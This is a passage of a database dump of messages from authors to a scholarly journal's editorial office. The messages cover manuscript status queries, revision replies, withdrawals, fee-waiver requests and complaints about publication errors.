consideration.</p>\r\n<p>1. The mean of Triglyceride levels less than&nbsp; &nbsp;&lt; 0.557mmol/l (1.057 - 0.50 mmol/l,) that can predict a severe stroke. And similarly levels of &nbsp;&nbsp;?2.599 mmol/l (1.809 +0.79\nmmol/l), more than this level of TG level can predict a&nbsp; mild to moderate stroke at the time of stroke occurrence. Thus the mean triglyceride levels amongst them are 1.578 mmol/l and is mentioned\nin the Discussion para1 in the study of&nbsp;&nbsp; Manuscript. The study data in results can be compared and is coinciding.</p>\r\n<p class=\"Default\">2. Correction done - <strong><span style=\"text-decoration: underline;\">Scandinavian stroke scale</span></strong> is used to measure the severity of stroke. The patients divided into\ntwo groups: those with severe stroke SSS ?25 and those with mild/moderate stroke SSS &lt; 25.</p>\r\n<p>&nbsp;3.&nbsp; &amp; &nbsp;6. &nbsp;References vide the Indian studies were 1, 8, 11, 19, 20, 24, 37. As this was an Observational study and considering the Methodology and guidelines of studies\nincluding SSS , Frederickson Classification of Hyperlipoproteinemias, Discussion and Summary which needed multiple studies to be compared and observed, hence the references were elaborate and more of\nInternational studies reviewed through Lancet, NEJM etc., In view of the comment raised , we have removed certain references which were not quoted in the text.</p>\r\n<p>4. From November 2017 to 2020, the present study was carried out upon 100 cases and no controls was taken. Hence it is a <strong>Cross sectional study</strong> and accordingly, we modified the\nstudy design in the text.</p>\r\n<p>5. Agreed with the comment, hence removed the Review of literature of TG and limited to the methods as advised. &nbsp;Also the earlier traditional methods of Saponification and later calorimetric\ntesting etc., text are removed.</p>\r\n<p>I wish the answers and modifications done shall meet to the expectations of the reviewers.</p>\r\n<p>Hence, I am sending the MANUSCRIPT AFTER REVISION done after modification and taking into consideration of the comments and SUBMITTING THE REVISED MAUSCRIPT for your favorable consideration.</p>\r\n<p>Thanking you,</p>\r\n<p>Regards</p>\r\n<p>Dr. T.V.S.R.RAGHU MD (General Medicine)</p>\r\n<p>AUTHOR</p>\r\n<p><a href=\"mailto:raghutanuku@gmail.com\">raghutanuku@gmail.com</a></p>\r\n<p><a href=\"mailto:raghutvdr@yahoo.co.in\">raghutvdr@yahoo.co.in</a></p>\r\n<p>Dear Sir/ Madam,</p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Thanks for the reviewing of my MANUSCRIPT and the comments appended for necessary\ncorrections. I wish to submit that I have gone through all the comments in detail, revised the Manuscript in detail and made possible corrections as advised. Here with submitting the verified\ncorrections for each comment for your necessary consideration.</p>\r\n<p>1. The mean of Triglyceride levels less than&nbsp; &nbsp;&lt; 0.557mmol/l (1.057 - 0.50 mmol/l,) that can predict a severe stroke. And similarly levels of &nbsp;&nbsp;?2.599 mmol/l (1.809 +0.79\nmmol/l), more than this level of TG level can predict a&nbsp; mild to moderate stroke at the time of stroke occurrence. Thus the mean triglyceride levels amongst them are 1.578 mmol/l and is mentioned\nin the Discussion para1 in the study of&nbsp;&nbsp; Manuscript. The study data in results can be compared and is coinciding.</p>\r\n<p class=\"Default\">2. Correction done - <strong><span style=\"text-decoration: underline;\">Scandinavian stroke scale</span></strong> is used to measure the severity of stroke. The patients divided into\ntwo groups: those with severe stroke SSS ?25 and those with mild/moderate stroke SSS &lt; 25.</p>\r\n<p>&nbsp;3.&nbsp; &amp; &nbsp;6. &nbsp;References vide the Indian studies were 1, 8, 11, 19, 20, 24, 37. As this was an Observational study and considering the Methodology and guidelines of studies\nincluding SSS , Frederickson Classification of Hyperlipoproteinemias, Discussion and Summary which needed multiple studies to be compared and observed, hence the references were elaborate and more of\nInternational studies reviewed through Lancet, NEJM etc., In view of the comment raised , we have removed certain references which were not quoted in the text.</p>\r\n<p>4. From November 2017 to 2020, the present study was carried out upon 100 cases and no controls was taken. Hence it is a <strong>Cross sectional study</strong> and accordingly, we modified the\nstudy design in the text.</p>\r\n<p>5. Agreed with the comment, hence removed the Review of literature of TG and limited to the methods as advised. &nbsp;Also the earlier traditional methods of Saponification and later calorimetric\ntesting etc., text are removed.</p>\r\n<p>I wish the answers and modifications done shall meet to the expectations of the reviewers.</p>\r\n<p>Hence, I am sending the MANUSCRIPT AFTER REVISION done after modification and taking into consideration of the comments and SUBMITTING THE REVISED MAUSCRIPT for your favorable consideration.</p>\r\n<p>Thanking you,</p>\r\n<p>Regards</p>\r\n<p>Dr. T.V.S.R.RAGHU MD (General Medicine)</p>\r\n<p>AUTHOR</p>\r\n<p><a href=\"mailto:raghutanuku@gmail.com\">raghutanuku@gmail.com</a></p>\r\n<p><a href=\"mailto:raghutvdr@yahoo.co.in\">raghutvdr@yahoo.co.in</a></p>',85,12148,1,'2021-12-06 21:27:17',1),(1023,'Hematocolpos Accepted Article','<p>Hello,</p>\r\n<p>I noticed that the article was accepted on December 1st. I was wondering what the next steps are toward publication. We have never received an email. Thank you very much, I look forward to hearing\nfrom you.</p>\r\n<p>Adam Elwood, M.D.</p>',91,11853,1,'2021-12-07 12:53:41',1),(1024,'Manuscript Status','<p>Dear Sir,</p>\r\n<p>This is a kind follow up on the status of my manuscript (aasrfc-21-11207) which was assigned to the Editor on Oct. 27, 2021.</p>\r\n<p>&nbsp;</p>\r\n<p>Kind Regards</p>',671,11662,1,'2021-12-08 10:24:35',0),(1025,'REVISION SUBMITTED AS PER COMMENTS OF\nTHE REVIEWER','<p>DEAR SIR/ MADAM,&nbsp;</p>\r\n<p>&nbsp;I HAVE&nbsp; REPLIED TO THE COMMENTS OF THE REVIEWERS AND SUBMITTED THE REVISED MANUSCRIPT. PLEASE LET ME KNOW IF THERE ARE ANY FURTHER COMMENTS TO BE REPLIED AND REVISED ACCORDINGLY.</p>\r\n<p>REGARDS</p>\r\n<p>DR. T.V.S.R.RAGHU</p>\r\n<p>AUTHOR</p>',85,12148,1,'2021-12-10 17:45:30',1),(1026,'Regarding paper submission','<p><span>Respected Sir&nbsp;&nbsp;</span><span>Alex John</span></p>\r\n<div><span style=\"font-family: Verdana, Geneva, sans-serif;\"><span>&nbsp;Hope you are enjoying good health. As your above mail, respect sir you ensure&nbsp;that the decision&nbsp;of the paper\nentitled&nbsp;</span></span><strong>\"Mistranslation of Genetic Codon and Their Controlling Mechanism in Cell\"&nbsp;</strong><span>has been done within the week. Unfortunately, I did not receive any\nmail. Almost seven to eight-month has been gone for reviewer decisions&nbsp;and the paper is under review. Please do something&nbsp;as soon as possible. Waiting for your kind reply.</span></div>\r\n<div><strong>&nbsp;</strong></div>\r\n<div><strong>Thank You</strong></div>\r\n<div><strong>&nbsp;</strong></div>\r\n<div><strong>Mohsin Shad</strong></div>',370,9351,1,'2021-12-10 19:45:01',1),(1027,'please notify the reviewers to send their reports','<p>please notify the reviewers to send their notes</p>',979,1344,2,'2021-12-11 08:17:12',1),(1028,'REQUEST TO NOTIFY THE COMMENTS FOR\nREVISION OF THE MANUSCRIPT','<p>DEAR SIR/MADAM,&nbsp;&nbsp;</p>\r\n<p>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;I WISH TO SUBMIT THAT I HAVE SUBMITTED THE REVIEWER COMMENTS IN DETAIL AND THE REVISED MANUSCRIPT AS WELL, BUT THE STATUS AS ON\nDECEMBER 10th WAS SHOWN AS REVISE ( NOTIFY AUTHOR),. HENCE REQUEST TO KINDLY SEND ME TO MY MAIL ( <a href=\"mailto:raghutanuku@gmail.com\">raghutanuku@gmail.com</a>) ANY FURTHER COMMENTS BY THE\nREVIEWERS FOR REVISION AND SUBMISSION.</p>\r\n<p>REGARDS</p>\r\n<p>DR. TANUKU V S R RAGHU</p>\r\n<p>AUTHOR</p>\r\n<p>&nbsp;</p>',85,12148,1,'2021-12-11 13:47:49',1),(1029,'Major mistake noticed in the published\narticle','<p><span style=\"font-family: arial, sans-serif;\">Dear Sir/Madam,</span></p>\r\n<div><span style=\"font-family: arial, sans-serif;\">Thank you for publishing our article. But unfortunately, we have noticed&nbsp;a major mistake. The&nbsp;title of the published paper is given\nas</span></div>\r\n<div><span style=\"font-family: arial, sans-serif;\">\" Fast Restoration of a Cross-Reactive SARSCoV Therapeutic Antibody for SARS-CoV-2&nbsp; \" but the title of our paper is \"<strong>Examination of\nvarious antibiotics on mycoplasma bacterial contamination in the human K562 chronic myeloid leukemia cell line culture\".&nbsp;</strong><span>Furthermore, there is a slight change in our contact\ninformation Please change the address<strong>&nbsp;\"</strong></span>Division of Cancer Research, Regional Cancer Centre, Medical College Campus, Kariavattom, Thiruvananthapuram, India\"&nbsp;\nas&nbsp;&nbsp;<strong>Division of Cancer Research, Regional Cancer Centre, Medical College Campus, Thiruvananthapuram, India</strong>\". Please do find the corrections and do the necessary step for the\nsame.</span></div>\r\n<div><span style=\"font-family: arial, sans-serif;\">With Regards,</span></div>\r\n<div><span style=\"font-family: arial, sans-serif;\">Jero Mathu A.,</span></div>\r\n<div><span style=\"font-family: arial, sans-serif;\">JRF,</span></div>\r\n<div><span style=\"font-family: arial, sans-serif;\">IUCGGT,</span></div>\r\n<div><span style=\"font-family: arial, sans-serif;\">Department of Biotechnology,</span></div>\r\n<div><span style=\"font-family: arial, sans-serif;\">University of Kerala</span></div>',248,11523,1,'2021-12-13 08:13:47',1),(1030,'regarding the review of study','<p><span>Respiratory Acidosis During Procedural Sedation And Analgesia For Pulmonary Vein Isolation: A Prospective Observational Study good relevent study on the basis of abstract.</span></p>\r\n<p><span>scientific significance need more study</span></p>',979,8665,3,'2021-12-15 05:41:30',1),(1031,'Withdraw my Manuscript ','<p>Dear Sir&nbsp;</p>\r\n<p>i apprecite If you could withdraw my manuscript. i will not be able to fund any fees for publishing it. i am sorry for the inconevenice caused but iwas hoping to publish it in non open source\njournals.&nbsp;</p>\r\n<p>Thank you again&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Regards&nbsp;</p>\r\n<p>Mohamed Badawy&nbsp;</p>',523,12296,1,'2021-12-15 18:56:02',1),(1032,'Manuscript revision','<div class=\"gmail_default\">De<span>ar Editor,&nbsp;</span></div>\r\n<div class=\"gmail_default\"><span>Sorry&nbsp;for the late reply. I have had hill health for past months.&nbsp;</span><span>I did not succeed submitting through the online system. I would be grateful\nyou assist with this.</span></div>\r\n<div class=\"gmail_default\"><span>Th</span><span>anks once more for the consider</span><span>ation.</span></div>\r\n<div class=\"gmail_default\"><span>Best&nbsp;</span><em>&nbsp;</em></div>',353,11105,1,'2021-12-18 12:27:05',1),(1033,'question','<p>Dear Editor</p>\r\n<p>&nbsp;</p>\r\n<p>I greatly appreciate your thorough review of the above pre-published article.</p>\r\n<p>I am very pleased to receive the report that the manuscript will be accepted.</p>\r\n<p>There are some parts of Galleyproof that need to be corrected, so I will correct them later and send the file as an attachment.</p>\r\n<p>Regarding invoices, the invoice amount is Euro 3219.00, but the Article Processing Charges of Regular Articles may be EURO850 or USD950.</p>\r\n<p>I was very surprised to see the amount billed.</p>\r\n<p>I would appreciate it if you could explain.</p>\r\n<p>I thank you in advance for sharing your expertise.</p>\r\n<p>&nbsp;</p>\r\n<p>Best regards</p>\r\n<p>&nbsp;</p>\r\n<p>Dr. Tatsuo Yasumitsu</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>',284,12275,1,'2021-12-21 10:13:07',1),(1034,'Corrections in paper','<p>Respected sir,</p>\r\n<p>This is to inform your good self that my paper entitled \" Chemical characterization and protective effect of Juniperus squamata Buch.-Ham.exD.Don against cyclophosphamide-induced immunosuppression\nin albino rats has been uploaded by your journal in the section of \"in press\" articles. However, there are lots of mistakes in paper and figures are also missing. Besides, authorship is also\nincorrect. Please look into the matter so as it is against scientific ethics.</p>\r\n<p>Regards</p>\r\n<p>Dr Rohaya Ali&nbsp;</p>\r\n<p>Research scholar</p>\r\n<p>&nbsp;</p>',650,10036,1,'2021-12-22 12:08:58',1),(1035,'Article Withdrawal','<p>We would like to retract our article The Importance of Neopterin in COVID-19: the prognostic value and relation with the disease severity.&nbsp;We will be glad if you reply as soon as possible.</p>',85,11954,1,'2021-12-22 12:50:10',1),(1036,'Withdrawal of submitted article.','<p>I want to withdraw the article. Kindly do the needful.&nbsp;</p>',75,11948,1,'2021-12-22 15:45:43',1),(1037,'Asking for manuscript status update','<p>Dear All</p>\r\n<p>I have reapidly asking about my manuscript submission status, Here now also asking the same question to know the status of my submission.</p>',309,11661,1,'2021-12-23 08:46:23',1),(1038,'Corrections in paper','<p>Dear sir,</p>\r\n<p>As informed in my last mail that there are several mistakes in my paper that has been published by you in \"in press\" release section. Besides, if here the current status of my paper is incomplete,\nhow can u go for publishing it!!</p>\r\n<p>Please look into the matter. This is against scientific ethics.</p>\r\n<p>Regards</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>',650,10036,1,'2021-12-24 16:44:30',1),(1039,'Corrections in paper','<p>Dear sir,</p>\r\n<p>As informed in my last mail that there are several mistakes in my paper that has been published by you in \"in press\" release section. Besides, if here the current status of my paper is incomplete,\nhow can u go for publishing it!!</p>\r\n<p>Please look into the matter. This is against scientific ethics.</p>\r\n<p>Regards</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>',650,10036,1,'2021-12-24 16:58:46',1),(1040,'IPIMP-21-12016','<p>Dear Editor</p>\r\n<p>Please withdraw the paper with ID: IPIMP-21-12016.</p>\r\n<p>Best Regards</p>\r\n<p>Saed</p>',970,12316,1,'2021-12-26 11:02:15',1),(1041,'Two word edits','<p>Hello. I need to make two word edits to the document submitted. Can this be done?</p>',269,12419,1,'2021-12-27 17:28:30',1),(1042,'UPDATE ON THE PRODUCTION STATE OF MY\nACCEPTED MANUSCRIPT- REQUEST -REGARDING','<p>Dear Sir/ Madam ,</p>\r\n<p>With reference to the mail recieved of my Manuscript \"&nbsp;<span>&nbsp;A STUDY OF CORRELATION BETWEEN SERUM TRIGLYCERIDES AND SEVERITY OF CEREBROVASCULAR ACCIDENT\" with number ipaom-21-11808 as\nACCEPTED AND IN PRODUCTION AND VERY SOON SHALL BE PRODUCED WITH GALLEY PROOF AND INVOICE.&nbsp;</span></p>\r\n<p><span>Hence with due respect would like to know the status of the same as on date.</span></p>\r\n<p><span>Thanking you&nbsp;</span></p>\r\n<p><span>Regards</span></p>\r\n<p><span>Dr. T.V.S.R.RAGHU</span></p>\r\n<p><span>AUTHOR</span></p>\r\n<p><span>raghutanuku@gmail.com</span></p>',85,12148,1,'2021-12-30 13:45:59',1),(1043,'Withdrawal of submitted article.','<p>I want to withdraw the article. Kindly do the needful&nbsp;</p>',75,11948,1,'2021-12-30 19:08:39',1),(1044,'Manuscript: ajpsky-21-11843','<p>Hi ,</p>\r\n<p>any&nbsp; news from the manuscipt reviewing</p>',101,12172,1,'2022-01-03 09:07:14',1),(1045,'Withdrawal of manuscript ipsrt-21-11887.','<p>To,</p>\r\n<p>Editorial Team</p>\r\n<p>Stroke res ther</p>\r\n<p>&nbsp;</p>\r\n<p>Dear Sir,</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you for your prompt response and consideration of our manuscript for publication.</p>\r\n<p>&nbsp;</p>\r\n<p>It is unfortunate that we&nbsp;are needing&nbsp;to withdraw&nbsp;our manuscript&nbsp;after peer review. As our institution is in acute shortage of the funds in view of the present COVID situation\nin India. We are unable to process the article publication fees as per the invoice.&nbsp;</p>\r\n<p>Hence, we would like to withdraw our&nbsp; manuscript titled \"&nbsp;The role of Lipoprotein(a) in intracranial atherosclerotic disease: A hospital based cross sectional study from India\" from\nfurther consideration&nbsp;by your journal. The manuscript id is ipsrt-21-11887. The date of submission was &nbsp;5 december 2021.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Please confirm the withdrawal&nbsp;process is complete.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>We apologize for any inconvenience&nbsp;caused.</p>\r\n<p>&nbsp;</p>\r\n<p>Sincerely</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Dr. Dnayneshwar Asole</p>\r\n<p>1st and corresponding Author,</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;</p>',481,12208,1,'2022-01-04 09:42:12',1),(1046,'Request for change affiliation  ','<p>Dear editorial office&nbsp;</p>\r\n<p>My manuscript&nbsp; entitled (Precision Pain medicine: A multifaceted perspectiv) with&nbsp; iphspr-21-11546&nbsp; has been accepted in this journal . I am very plessent&nbsp; about this\nacceptance, but since I did not receive galley proof email, therefore requst&nbsp; you: Please change the affilitin&nbsp; from (Radiation Biology Reaserch center, Iran University of Medical Sciences\n(IUMS), Tehran, Iran)to Occupational Medicine Research Center (OMRC), Iran University of Medical Sciences (IUMS), Tehran, Iran.&nbsp;</p>\r\n<p>Thank for your kindness</p>\r\n<p>best Regards&nbsp;</p>',84,11947,1,'2022-01-08 11:03:37',1),(1047,'Published?','<p>Hi,</p>\r\n<p>Please clarify if this MS has been published.&nbsp;</p>\r\n<p>Best regards,</p>\r\n<p>Xiaoxu&nbsp;</p>',1021,1717,2,'2022-01-10 01:41:37',1),(1048,'Published?','<p>Hi,</p>\r\n<p>Please clarify if this MS has been published.</p>\r\n<p>Best regards,</p>\r\n<p>Xiaoxu</p>',1021,1717,2,'2022-01-10 01:42:45',1),(1049,'Manuscript Withdrawal','<p>Dear Sir,</p>\r\n<p>&nbsp;</p>\r\n<p>Following the overly long period taken since the initial submission of my manuscript on 21/10/2021 and lack of any response on follow up, i hereby wish to withdraw the manuscript so that i can\nsubmit it to a different journal.</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks</p>',671,11662,1,'2022-01-10 06:46:48',0),(1050,'This paper can be accepted after some\nmajor modifications','<p>The article is a bit long with 08 pages of material and methods.<br />The objective should mention the evaluation of extraction methods and biological activities.<br />Try to focus on the\nevaluation of the antioxidant and anti-inflammatory activity in vitro of extracts of Globularia alypum (in the summary, introduction, material and methods and in the results.<br />Check the values\nfound especially for the antioxidant activity, you can refer to the following article (<a href=\"https://doi.org/10.3390/molecules26030759\" target=\"_blank\"\ndata-saferedirecturl=\"https://www.google.com/url?q=https://doi.org/10.3390/molecules26030759&amp;source=gmail&amp;ust=1641929743421000&amp;usg=AOvVaw2YNArwPHUqu3CAPlB1oLbN\">https://doi.org/10.3390/molecules26030759</a><span>);&nbsp;DOI:\n10.1039/d0ra03265d ;</span></p>',0,17626,3,'2022-01-10 19:45:47',0),(1051,'Article withdrawal: \"Electromyographic\nActivity and Neuromuscular Efficiency of\nthe Internal Oblique Muscle in Pilates\nPractitioners\"','<p><span class=\"x_VIiyi\" lang=\"en\"><span class=\"x_JLqJ4b x_ChMk0b\"><span>Dear,</span></span><span class=\"x_JLqJ4b\"><span>&nbsp;</span></span><span class=\"x_JLqJ4b x_ChMk0b\"><span>I would like to\nremove the article: &acute;&acute;Electromyographic Activity and Neuromuscular Efficiency of the Internal Oblique Muscle in Pilates Practitioners``, because unfortunately I do not have support for\nfinancial payment.</span></span></span><span>&nbsp;</span></p>\r\n<p><span>Ana Carolina Panhan</span></p>',48,12548,1,'2022-01-11 15:57:35',1),(1052,'Article withdrawal: \"Electromyographic\nActivity and Neuromuscular Efficiency of\nthe Internal Oblique Muscle in Pilates\nPractitioners\"','<p>Dear,<br />withdraw my article &acute;&acute;Electromyographic Activity and Neuromuscular Efficiency of the Internal Oblique Muscle in Pilates Practitioners``, I cannot make the payment,\nunfortunately the university where I am a researcher initial submission.</p>',48,12548,1,'2022-01-11 19:27:46',1),(1053,'Article withdrawal: \"Electromyographic\nActivity and Neuromuscular Efficiency of\nthe Internal Oblique Muscle in Pilates\nPractitioners\"','<div>Dear,\r\n<div>withdraw my article &acute;&acute;Electromyographic Activity and Neuromuscular Efficiency of the Internal Oblique Muscle in Pilates Practitioners``, I cannot make the payment, unfortunately the\nuniversity where I am a researcher initial submission.</div>\r\nI have sent a few emails and have not received a response.</div>\r\n<p>&nbsp;</p>\r\n<div>&nbsp;</div>',48,12548,1,'2022-01-12 12:53:53',1),(1054,'Withdraw Submission','<p>Hello,</p>\r\n<p>&nbsp;</p>\r\n<p>I would liek to withdraw my submission to this journal.&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>Thank you.&nbsp;</p>',267,12566,1,'2022-01-13 13:13:08',1),(1055,'Payment mathod','<p>Can you please provide me some payment option.</p>\r\n<p>Thank you!&nbsp;</p>',988,12011,1,'2022-01-13 13:22:40',1),(1056,'Decline of review request','<p>Dear editor</p>\r\n<p>Thank you for the invitation to review&nbsp; the above paper. I wish to decline.</p>\r\n<p>Sorry for any inconveniences</p>\r\n<p>Osadebe PO</p>',0,21101,3,'2022-01-18 20:51:39',0),(1057,'manuscript','<p>I am checking on the status of the article,&nbsp;<span>The Medical Admitting Officer: Improving Patient Care in a Department of Medicine</span></p>\r\n<p>&nbsp;</p>\r\n<p>It was accepted but I have not heard about next steps.</p>\r\n<p>&nbsp;</p>\r\n<p>Thanks</p>\r\n<p>&nbsp;</p>\r\n<p>Lee Berkowitz</p>',528,11080,1,'2022-01-19 14:42:24',1),(1058,'QURIES ABOUT MANUSCRIPT','<p>Respected Sir/ Madam I hope you are enjoying good health. I have submitted a paper entitled &ldquo;Mistranslation of genetic codon and their controlling mechanism in cell &rdquo; in Biochemistry\n&amp; Molecular Biology Journal in April 2021. Almost TEN months have been gone. But paper is still under review process. Please give a soft reminder to our respected reviewer</p>',370,9351,1,'2022-01-19 17:29:42',1),(1059,'REQUEST FOR WAVIER','<p><span>Respected Dear Editor</span>,</p>\r\n<p><span>Thanks for wishing me on acceptance of the article. Of course,&nbsp; its big milestone especially for the students who are the authors of this article, and our degree depends upon their\npublications. In this regard, I want to request for full waiver&nbsp;of the publication charges on account of being an academic institution and this research belongs to PhD students&rsquo;\ndata.&nbsp;</span></p>\r\n<p><span>&nbsp;According to World Bank, Pakistan is already categorised as third world country&nbsp;</span></p>\r\n<p><span>&nbsp;<a\nhref=\"https://urldefense.proofpoint.com/v2/url?u=https-3A__datahelpdesk.worldbank.org_knowledgebase_articles_906519&amp;d=DwMFaQ&amp;c=vh6FgFnduejNhPPD0fl_yRaSfZy8CWbWnIf4XJhSqx8&amp;r=kK-tMkPESXsmuCPMAorbstXapl525dXmCENnFCpBiX4&amp;m=e01fS42T8PEFzu3H6ErN866yehsg8MTC9CPzqY7vBxQ&amp;s=CRBACr_UiTtBG6iHvqbBV5XpLOnTQ6pW5ak8sGPXBXA&amp;e=\"\nshape=\"rect\" target=\"_blank\"\ndata-saferedirecturl=\"https://www.google.com/url?q=https://urldefense.proofpoint.com/v2/url?u%3Dhttps-3A__datahelpdesk.worldbank.org_knowledgebase_articles_906519%26d%3DDwMFaQ%26c%3Dvh6FgFnduejNhPPD0fl_yRaSfZy8CWbWnIf4XJhSqx8%26r%3DkK-tMkPESXsmuCPMAorbstXapl525dXmCENnFCpBiX4%26m%3De01fS42T8PEFzu3H6ErN866yehsg8MTC9CPzqY7vBxQ%26s%3DCRBACr_UiTtBG6iHvqbBV5XpLOnTQ6pW5ak8sGPXBXA%26e%3D&amp;source=gmail&amp;ust=1642865149819000&amp;usg=AOvVaw35c3AIfMwBhpzJHM6pZgUu\"><span>https://datahelpdesk.worldbank.org/knowledgebase/articles/906519</span></a></span></p>\r\n<p><span>&nbsp;and our Govt. of Pakistan is spending meagre amount of its GDP on Higher Education.&nbsp;Due to Covid-19 pandemic, the economic crisis has also escalated leading to surprising slashes\nof academic budget by Higher Education Commission of Pakistan and Govt. of Pakistan to its minimum level</span></p>\r\n<p><span>&nbsp;<a\nhref=\"https://urldefense.proofpoint.com/v2/url?u=https-3A__tribune.com.pk_story_1991271_1-2D50-2Dcut-2Dhec-2Dbudget-2Dhurt-2Dprogrammes_&amp;d=DwMFaQ&amp;c=vh6FgFnduejNhPPD0fl_yRaSfZy8CWbWnIf4XJhSqx8&amp;r=kK-tMkPESXsmuCPMAorbstXapl525dXmCENnFCpBiX4&amp;m=e01fS42T8PEFzu3H6ErN866yehsg8MTC9CPzqY7vBxQ&amp;s=H16IIeqsaZ27EP4nG8ox0aw40hBBbkkxypMiBYa1A_E&amp;e=\"\nshape=\"rect\" target=\"_blank\"\ndata-saferedirecturl=\"https://www.google.com/url?q=https://urldefense.proofpoint.com/v2/url?u%3Dhttps-3A__tribune.com.pk_story_1991271_1-2D50-2Dcut-2Dhec-2Dbudget-2Dhurt-2Dprogrammes_%26d%3DDwMFaQ%26c%3Dvh6FgFnduejNhPPD0fl_yRaSfZy8CWbWnIf4XJhSqx8%26r%3DkK-tMkPESXsmuCPMAorbstXapl525dXmCENnFCpBiX4%26m%3De01fS42T8PEFzu3H6ErN866yehsg8MTC9CPzqY7vBxQ%26s%3DH16IIeqsaZ27EP4nG8ox0aw40hBBbkkxypMiBYa1A_E%26e%3D&amp;source=gmail&amp;ust=1642865149819000&amp;usg=AOvVaw0WPxwvA1frGHvB-6ZxGtMf\"><span>https://tribune.com.pk/story/1991271/1-50-cut-hec-budget-hurt-programmes/</span></a></span></p>\r\n<p><span>&nbsp;and&nbsp;&nbsp;</span></p>\r\n<p><span><a\nhref=\"https://urldefense.proofpoint.com/v2/url?u=https-3A__nation.com.pk_12-2DJun-2D2019_govt-2Ddrastically-2Dcuts-2Dallocations-2Dfor-2Dhec&amp;d=DwMFaQ&amp;c=vh6FgFnduejNhPPD0fl_yRaSfZy8CWbWnIf4XJhSqx8&amp;r=kK-tMkPESXsmuCPMAorbstXapl525dXmCENnFCpBiX4&amp;m=e01fS42T8PEFzu3H6ErN866yehsg8MTC9CPzqY7vBxQ&amp;s=R0uJVhpuzh1gntZzTqlM3p8uThqC7Zijfxah7BFF488&amp;e=\"\nshape=\"rect\" target=\"_blank\"\ndata-saferedirecturl=\"https://www.google.com/url?q=https://urldefense.proofpoint.com/v2/url?u%3Dhttps-3A__nation.com.pk_12-2DJun-2D2019_govt-2Ddrastically-2Dcuts-2Dallocations-2Dfor-2Dhec%26d%3DDwMFaQ%26c%3Dvh6FgFnduejNhPPD0fl_yRaSfZy8CWbWnIf4XJhSqx8%26r%3DkK-tMkPESXsmuCPMAorbstXapl525dXmCENnFCpBiX4%26m%3De01fS42T8PEFzu3H6ErN866yehsg8MTC9CPzqY7vBxQ%26s%3DR0uJVhpuzh1gntZzTqlM3p8uThqC7Zijfxah7BFF488%26e%3D&amp;source=gmail&amp;ust=1642865149819000&amp;usg=AOvVaw1kVmf0XXFPgQalRYWObfdw\"><span>https://nation.com.pk/12-Jun-2019/govt-drastically-cuts-allocations-for-hec</span></a></span></p>\r\n<p><span>&nbsp;Moreover, the current Corona pandemic has hit Pakistan very badly as also the other world is facing the problems.</span></p>\r\n<p><span><a\nhref=\"https://www.thenews.com.pk/print/631789-coronavirus-pakistan-may-face-initial-economic-loss-of-rs1-3tr.\">https://www.thenews.com.pk/print/631789-coronavirus-pakistan-may-face-initial-economic-loss-of-rs1-3tr.</a></span></p>\r\n<p><span>&nbsp;The disease condition in Pakistan has resulted in complete lock down for some time and ultimately financial crisis for family owned businesses of most of the authors. The students have\nbeen limited to their houses as well the faculty. I have tried to reach out the authors (Students) as well as the university, but the response was to contact you about fee waiver&nbsp;according to\ncurrent economic conditions.</span></p>\r\n<p><span>I know about your policy but still contacting you to extend requests on behalf of all the authors. We plea for a positive response from you, so that we could celebrate our research in real\nmanner under lockdown situation.</span></p>\r\n<p><span>I am expecting you to be kind enough to understand our situation which otherwise will be unfortunate&nbsp;for us to exert pressure on students (authors)&nbsp; to take the responsibility who\nare feared much on account of their economic conditions and currency difference which is much more than their monthly incomes. I will be obliged by your kindness.</span></p>\r\n<p><span>&nbsp;Best Regards</span></p>\r\n<p><strong><span>Mohsin Shad</span></strong></p>\r\n<p><strong><span>Ph.D. Scholar</span></strong></p>\r\n<p><strong><span>SBS-Punjab University, Lahore, Pakistan</span></strong></p>',370,9351,1,'2022-01-21 15:39:09',1),(1060,'status update on my manuscript','<p>Could you please update me when should I hear back from the editor about the status of my manuscript .</p>\r\n<p>Thanks</p>\r\n<p>Arun</p>',972,12191,1,'2022-01-21 16:55:42',1),(1061,'Submission in October 2021','<p>Hello!&nbsp;</p>\r\n<p>&nbsp;</p>\r\n<p>We have submitted this manuscript back in October 2021. We have no decision or comments.&nbsp;</p>\r\n<p>If we do not get an update in a week (Jan 28th 2022), we will withdraw this manuscript.</p>\r\n<p>&nbsp;</p>\r\n<p>Any updates would be incredibly helpful.</p>\r\n<p>-Anna Pfalzer</p>',268,11428,1,'2022-01-21 18:05:11',1),(1062,'Publication date','<p>Dear Editor</p>\r\n<p>&nbsp;</p>\r\n<p>I am grateful for your support.</p>\r\n<p>Please tell me when my research paper will be published.</p>\r\n<p>I am grateful for your cooperation.</p>\r\n<p>&nbsp;</p>\r\n<p>Best regards</p>\r\n<p>&nbsp;</p>\r\n<p>Dr. Tatsuo Yasumitsu</p>',284,12275,1,'2022-01-25 01:09:59',1),(1063,'Inquiry about  the current status of\nresearch paper','<p>Dear sir,</p>\r\n<p>it has been a year when i submitted my paper.&nbsp; Recently, i found it on your \"in press\" section that too in crude form . Most of the data has been skipped. I wrote hundreds of mails to your\ngoodself. sir, im sorry to say but your journal is not maintaining research ethics. This is 5-6 years work. As of now i request you to update me what exactly your journal is supposed to do with my\npulication. You assured me that it will take 4-5 days to remove this in\" in press\" section. now, it has been a month!!!</p>\r\n<p>Please and please maintain reserch ethics and the reputation of your journal.&nbsp; Neither, im able to process this here nor able to submit elesewhere.!!</p>\r\n<p>You have already wasted lot of my time. please update me today.</p>\r\n<p>&nbsp;</p>\r\n<p>thanks!</p>\r\n<p>Dr Rohaya 